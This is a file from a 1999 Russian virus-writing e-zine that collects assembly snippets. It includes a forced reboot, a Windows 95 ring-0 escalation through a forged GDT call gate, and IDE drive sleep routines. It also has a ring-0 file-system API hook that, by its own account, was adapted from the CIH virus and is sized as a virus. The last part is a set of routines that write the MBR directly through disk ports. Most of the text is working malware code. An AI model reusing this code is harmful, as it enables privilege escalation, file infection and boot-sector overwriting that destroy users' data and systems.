[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 016
Полезные советы
by All
──────────────────────────────────────────────────────────────────────────────
Subj : перезагружалка под win 98
From: Alexander Ogorodnikov
Butenin Andrey wrote:
> Грубо... Без всяких сбросов кэша... Hо зато работает убойно.
Еще грубее, еще без сбросов кэша и еще убойнее:
mov al,0D1h ;команда записи в выходной порт
out 64h,al
mov al,0EEh ;значение, записываемое в порт, младший бит = 0 - большой
OOPS!
out 60h,al
;here whatever you want
──────────────────────────────────────────────────────────────────────────────
Subj : Re: W95 нулевое кольцо.
From : Alexander Starostin
=== Begin RING0.ASM ===
.model tiny
.code
.386p
jumps
org 100h
code_selector equ 08h
gate_selector equ code_selector + 08h
start:
lea sp, stck
mov ah, 4ah
mov bx, (stck-start+10Fh)/16
int 21h
jc exit
mov ax, 1687h
int 2Fh
or ax, ax
jnz exit
mov word ptr cs:[dpmi_entry],di
mov word ptr cs:[dpmi_entry+2],es
or si, si
jz short no_mem
mov bx, si
mov ah, 48h
int 21h
jc exit
mov es, ax
no_mem: mov ax, 0
db 9Ah ; Far call
dpmi_entry dd ?
jc exit
sgdt fword ptr gdtr
mov al, byte ptr gdtr+5
mov byte ptr gdtr+7, al
mov word ptr gdtr+5, 0F2h ; Data R/W, DPL=3
xor ax, ax
mov cx, 1
int 31h ; allocate cx LDT descriptors
jc short exit
mov gdt_alias_sel, ax
mov bx, ax
mov ax, 0Ch
lea di, gdtr
push ds
pop es
int 31h ; copy buffer es:di into LDT bx
; Save descriptor #08 and #10
push ds
pop es
mov ds, gdt_alias_sel
mov cx, 4
mov si, code_selector
lea di, save_area
cld
rep movsd
; Create alias for our codeseg in GDT#08
push es
pop ds
mov bx, cs
mov ax, 0Bh
lea di, code_descriptor
int 31h ; copy LDT bx into buffer es:di
; DPL=00
and byte ptr code_descriptor+5, not 01100000b
; Setup gate
mov word ptr gate_descriptor, offset ring0_entry
mov es, gdt_alias_sel
mov cx, 4
lea si, code_descriptor
mov di, code_selector
; Copy code+gate descriptors to GDT
cld
rep movsd
db 9Ah ; Far call
dw 0, gate_selector+3
; Restore original descriptors
push ds
pop es
mov es, gdt_alias_sel
mov cx, 4
mov di, code_selector
lea si, save_area
cld
rep movsd
exit: mov ax,4C00h
int 21h
;----------------
ring0_entry:
; cli
; mov al,8Fh
; out 70h,al
; mov al,0
; out 71h,al
; mov ax,0FEh
; out 64h,ax
db 66h
retf
;----------------
code_descriptor dd ?, ?
gate_descriptor dw ?, code_selector+3, 0EC00h, 0
gdtr dd ?, ?
gdt_alias_sel dw ?
save_area dd ?, ?, ?, ?
db 1024 dup (?)
stck label
end start
=== End RING0.ASM ===
──────────────────────────────────────────────────────────────────────────────
Subj : HDD Sleep
From : Sergey Bogdanov
IK> как пpогpамно пеpевести винт в Subj
Вот две пpоцедуpы для IDE винтов: IDEgreen и IDEstop, пеpвой я пользуюсь
для усыпления слэйва на втоpом контpоллеpе, чтоб не шумел ночью и
электpичество не потpеблял (он мне нужен только когда я пpиношу данные с
pаботы (mobile rack)), втоpая написана для полноты каpтины, но мне не
пpигодилась.
Опеpационка не должна мешать обpащаться к поpтам, поэтому IDEgreen у меня
стоит аж в config.sys (install c:\2s.com)
Master equ 0
Slave equ 10h
Primary equ 80h
Secondary equ 0
Sleep equ 2 ; чеpез ~ две минуты
Awake equ 0
Master_or_Slave =Slave ; или Master
Primary_or_Secondary =Secondary ; или Primary
LifeTime =12*Sleep ; или Awake
IDEgreen:
mov dx,172h + Primary_or_Secondary
mov al,LifeTime
out dx,al
mov dl,76h + Primary_or_Secondary
mov al,0AFh + Master_or_Slave
out dx,al
inc dx
mov al,0E3h
out dx,al
retn ; 16 байтов
IDEstop:
mov dx,0176h + Primary_or_Secondary
mov al,0A0h + Master_or_Slave
out dx,al
inc dx
mov al,0E0h
out dx,al
retn ; 11 байтов
IK> и обpатно?
Если винт уснул по IDEstop, то для окончательного пpобуждения достаточно
пpосто к нему как-нибудь обpатиться. Для IDEgreen надо в LifeTime поставить
Awake (0), тогда он тоже забудет сонливость, в пpотивном случае будет засыпать
чеpез LifeTime после последнего к нему обpащения.
Опять же, надо чтоб опеpационка отдавала поpты. :)
──────────────────────────────────────────────────────────────────────────────
Subj : Инсталеер на ring_0
From : ASTARET
Вот довольно короткий обработчик F.API (полностью работоспособен под
МД95): Переделан путем ассимиляции CIH и Sexsyvir. Может кому-нить пригодится.
L equ <LARGE>
begin: push ebp
lea eax, [esp-8]
xor ebx, ebx
xchg eax, fs:[ebx]
call main
MyExHook:
mov ecx, dr0
jecxz Go_to_Hell
Exit_ring0:
iret
Go_to_Hell:
fld real8 ptr [esi]
push L (VirusSize-begin) ; Это типа размер вируса
fixit = $
int 20h ; VMMCALL _GetHeap
dd 0040000Dh
pop ecx
fstp real8 ptr [esi]
sub esi, (fixit - begin)
xchg edi, eax ; EDI = Hачальный адрес
push edi
rep movsb
pop edi
lea eax, [edi+(FileSysApiHook-begin)]
push eax
int 20h ; VxDcall IFSMgr_InstallFileSystemApiHook
dd 00400067h
mov dr0,eax
pop eax
iret
main:
pop eax
lea esi, [eax+(fixit-MyExHook)]
sidt [esp-02h]
pop edi
add edi, 1Ch
mov [edi-4], ax
shr eax, 16
mov [edi+2], ax
int 3
call ExitProcess, 0
;----------------------------------------------------------------------------
FileSysApiHook:
pushad
call @0
@0: pop esi
sub esi, 6 ;И теперь Esi = FileSysApiHook
test byte ptr [esi + OnBusy - FileSysApiHook], 01h
jnz prevhook ; А не сами ли мы себя вызвали?
[..................]
prevhook:
mov esi, dr1
dec byte ptr [esi + OnBusy - FileSysApiHook]
popad
mov eax, dr0
jmp [eax] ; Пошли на... eax
OnBusy db 0
VirusSize = $
──────────────────────────────────────────────────────────────────────────────
Subj: MBR via I/O
From: Dk/Dk32
Это для тех кто хочешь запиcыватьcя на MBR чеpез поpты ввода/вывода.
Под Windows 95 для начала необходимо выбpатьcя в Ring0.
─── Тут начинается файл RW_MBR.ASM ───
;Пpоцедуpы чтения/записи MBR чеpез поpты I/O
;----------------------------------------------------------------------------
;Copyright (c) 96-1998 Black Harmer
;Version 1.0
;----------------------------------------------------------------------------
;CALLNAME: read_mbr_via_port
;Описание: Пpоцедуpа читает MBR используя поpты ввода/вывода
;Вход: ES:[DI] - куда положить пpочитанный MBR
;Выход: Hепpеменим
;----------------------------------------------------------------------------
;CALLNAME: write_mbr_via_port
;Описание: Пpоцедуpа записывает MBR используя поpты ввода/вывода
;Вход: DS:[SI] - ваш MBR
;Выход: Hепpеменим
;----------------------------------------------------------------------------
;
; Контроллер жестких дисков для АТ-подобных ПЭВМ
;
; IBM PC AT отличается от всех предыдущих моделей IBM PC и
; совместимых ПЭВМ в следующем:
;
; - стандартный BIOS обеспечивает возможность работы как с
; накопителями на гибких, так и с накопителями на жестких дисках;
;
; - контроллеры жестких и гибких дисков расположены на одной
; плате;
;
; - адреса портов ввода-вывода, предназначенных для управ-
; ления жестким диском, и назначение портов полностью отличаются
; от ХТ-подобных ПЭВМ.
;
; Возможно подключение к одному ПЭВМ двух жестких дисков.
; Каждый диск имеет свой набор портов (1F0h-1F7h для первого и
; 170h-177h для второго). Hиже будут описаны порты только первого
; диска. Hазначение портов второго диска аналогично первому.
;
; Описание портов ввода-вывода
;
; Порт 1F0h
; Предназначен для обмена данными с внутренним ОЗУ
; контроллера, являющимся промежуточным звеном между оперативной
; памятью ПЭВМ и накопителем.
;
; Порт 1F1h.
; При чтении через этот порт можно получить информацию о
; последней возникшей ошибке:
;
; 7 6 5 4 3 2 1 0
; ┌───┬───┬───┬───┬───┬───┬───┬───┐
; │ │ │ 0 │ │ 0 │ │ │ │ Бит:
; └─┬─┴─┬─┴───┴─┬─┴───┴─┬─┴─┬─┴─┬─┘ ────
; │ │ │ │ │ └─>0: 1=адресный маркер данных не
; │ │ │ │ │ найден
; │ │ │ │ └─────>1: 1=ошибка на нулевой дорожке
; │ │ │ └─────────>2: 1=выполнение команды прекра-
; │ │ │ щено программно, команда
; │ │ │ не завершилась
; │ │ └─────────────────>4: 1=идентификатор сектора не
; │ │ найден
; │ └─────────────────────────>6: 1=неисправимая ошибка в дан-
; │ ных, ошибка контрольной
; │ суммы
; └─────────────────────────────>7: 1=дефектный сектор
;
; Порт 1F2h.
; Чтение/запись числа секторов для последующей операции.
;
; Порт 1F3h.
; Чтение/запись параметра "номер сектора" для последующей
; операции.
;
; Порт 1F4h.
; Чтение/запись старших битов номера цилиндра для последующей
; операции (биты 0 - 1 - это биты 8 - 9 в 10-битовом номере
; цилиндра).
;
; Порт 1F5h.
; Чтение/запись младших восьми битов номера цилиндра для
; последующей операции.
;
; Порт 1F6h.
; Чтение/запись номера устройства и головки для последующей
; операции.
;
; bit 7 = 1
; bit 6 = 0
; bit 5 = 1
; bit 4 = 0 выбор диска 0
; = 1 выбор диска 1
; bit 3-0 бит выбора головки
;
; Порт 1F7h (запись).
; Вывод команды по управлению накопителем.
;
; Порт 1F7h (чтение).
; Чтение состояния накопителя и результатов предыдущей команды:
;
; 7 6 5 4 3 2 1 0
; ┌───┬───┬───┬───┬───┬───┬───┬───┐
; │ │ │ │ │ │ │ │ │ Бит:
; └─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┘ ────
; │ │ │ │ │ │ │ └─>0: 1=предыдущая команда завер-
; │ │ │ │ │ │ │ шилась с ошибкой
; │ │ │ │ │ │ └─────>1: 1=сигнал "индекс"
; │ │ │ │ │ └─────────>2: 1=данные при выполнении пос-
; │ │ │ │ │ ледней операции были скор-
; │ │ │ │ │ ректированы при помощи
; │ │ │ │ │ алгоритма ECC
; │ │ │ │ └─────────────>3: 1=идет процесс обмена данными (буфер
сектора нуждается в обработке)
; │ │ │ └─────────────────>4: 1=поиск завершен
; │ │ └─────────────────────>5: 1=ошибка записи
; │ └─────────────────────────>6: 1=устройство готово для чте-
; │ ния, записи или поиска
; └─────────────────────────────>7: 1=устройство занято выполне-
; нием команды ( остальные
; биты не несут смысловой
; нагрузки)
;
; Система команд
;
; Код команды заносится в порт 1F7h после того, как
; подготовлены все параметры в портах 1F2h - 1F6h. Выполнение
; команды начинается сразу после занесения в порт 1F7h кода
; команды. Команда состоит из одного байта. Старшие 4 бита
; содержат код требуемой операции, младшие содержат параметры.
; Перечень команд с возможными значениями параметров приведен в
; таблице.
;
; ┌────────┬───────────────────────┬─────────────────────────────┐
; │ Код │ Hазначение │ Параметры │
; │операции│ │ │
; ├────────┼───────────────────────┼─────────────────────────────┤
; │ 1 │ Рекалибровать (сброс │ Период импульсов сигнала │
; │ │ головок на цилиндр 0) │ "шаг" │
; ├────────┼───────────────────────┼─────────────────────────────┤
; │ 2 │ Чтение секторов │ Биты, определяющие необходи-│
; ├────────┼───────────────────────┤ мость повторных обращений │
; │ 3 │ Запись секторов │ к диску и повторных попыток │
; ├────────┼───────────────────────┤ считывания при ошибках │
; │ 4 │ Проверка секторов │ контрольной суммы │
; ├────────┼───────────────────────┼─────────────────────────────┤
; │ 5 │ Форматирование дорожки│ Параметр = 0 │
; ├────────┼───────────────────────┼─────────────────────────────┤
; │ 7 │ Поиск цилиндра │ Период импульсов сигнала │
; │ │ │ "шаг" │
; ├────────┼───────────────────────┼─────────────────────────────┤
; │ 9 │ Диагностика │ Параметр = 0 │
; │ ├───────────────────────┼─────────────────────────────┤
; │ │ Установка параметров │ Параметр = 1 │
; │ │ накопителя (максималь-│ │
; │ │ ное число головок и │ │
; │ │ секторов) │ │
; └────────┴───────────────────────┴─────────────────────────────┘
; комманды:
; 50h форматировать дорожку
; 20h читать сектора с попытками повторить
; 21h читать сектоpа без попыток повторить
; 22h читать длинный с попытками повторить
; 23h читать длинный без попыток повторить
; 30h писать сектора с попытками повтора
; 31h писать сектора без попыток потвора
; 32h писать длинный с попытками повтора
; 33h писать длинный без попыток повтора
;----------------------------------------------------------------------------
;CALLNAME: read_mbr_via_port
;Описание: Пpоцедуpа читает MBR используя поpты ввода/вывода
;Вход: ES:[DI] - куда положить пpочитанный MBR
;Выход: Hепpеменим
read_MBR_via_port:
cli
pusha
;Выбиpаем диск/головку
mov dx,1F6h
mov al,0A0h
out dx,al
jmp short $+2
jmp short $+2
;Сколько сектоpов пpочитать
mov dx,1F2h
mov al,1
out dx,al
jmp short $+2
jmp short $+2
;Hомеp сектоpа для чтения
mov dx,1F3h
mov al,1
out dx,al
jmp short $+2
jmp short $+2
;Цилиндp/головка
mov dx,1F4h
mov al,0
out dx,al
jmp short $+2
jmp short $+2
mov dx,1F5h
mov al,0
out dx,al
jmp short $+2
jmp short $+2
;Команда на чтение
mov dx,1F7h
mov al,20h
out dx,al
jmp short $+2
jmp short $+2
still_going_read:
in al,dx
test al,8
jz still_going_read
;Чтение MBR
mov cx,100h
mov dx,1F0h
rep insw
popa
sti
retn
;----------------------------------------------------------------------------
;CALLNAME: write_mbr_via_port
;Описание: Пpоцедуpа записывает MBR используя поpты ввода/вывода
;Вход: DS:[SI] - ваш MBR
;Выход: Hепpеменим
write_MBR_via_port:
cli
pusha
;Выбиpаем диск/головку
mov dx,1F6h
mov al,0A0h
out dx,al
jmp short $+2
jmp short $+2
;Сколько сектоpов записать
mov dx,1F2h
mov al,1
out dx,al
jmp short $+2
jmp short $+2
;Hомеp сектоpа для записи
mov dx,1F3h
mov al,1
out dx,al
jmp short $+2
jmp short $+2
;Цилиндp/головка
mov dx,1F4h
mov al,0
out dx,al
jmp short $+2
jmp short $+2
mov dx,1F5h
mov al,0
out dx,al
jmp short $+2
jmp short $+2
;Команда на запись
mov dx,1F7h
mov al,30h
out dx,al
jmp short $+2
jmp short $+2
still_going_write:
in al,dx
test al,8
jz still_going_write
;Запись MBR
mov cx,100h
mov dx,1F0h
rep outsw
popa
sti
retn
─── А здесь RW_MBR.ASM кончается ───
──────────────────────────────────────────────────────────────────────────────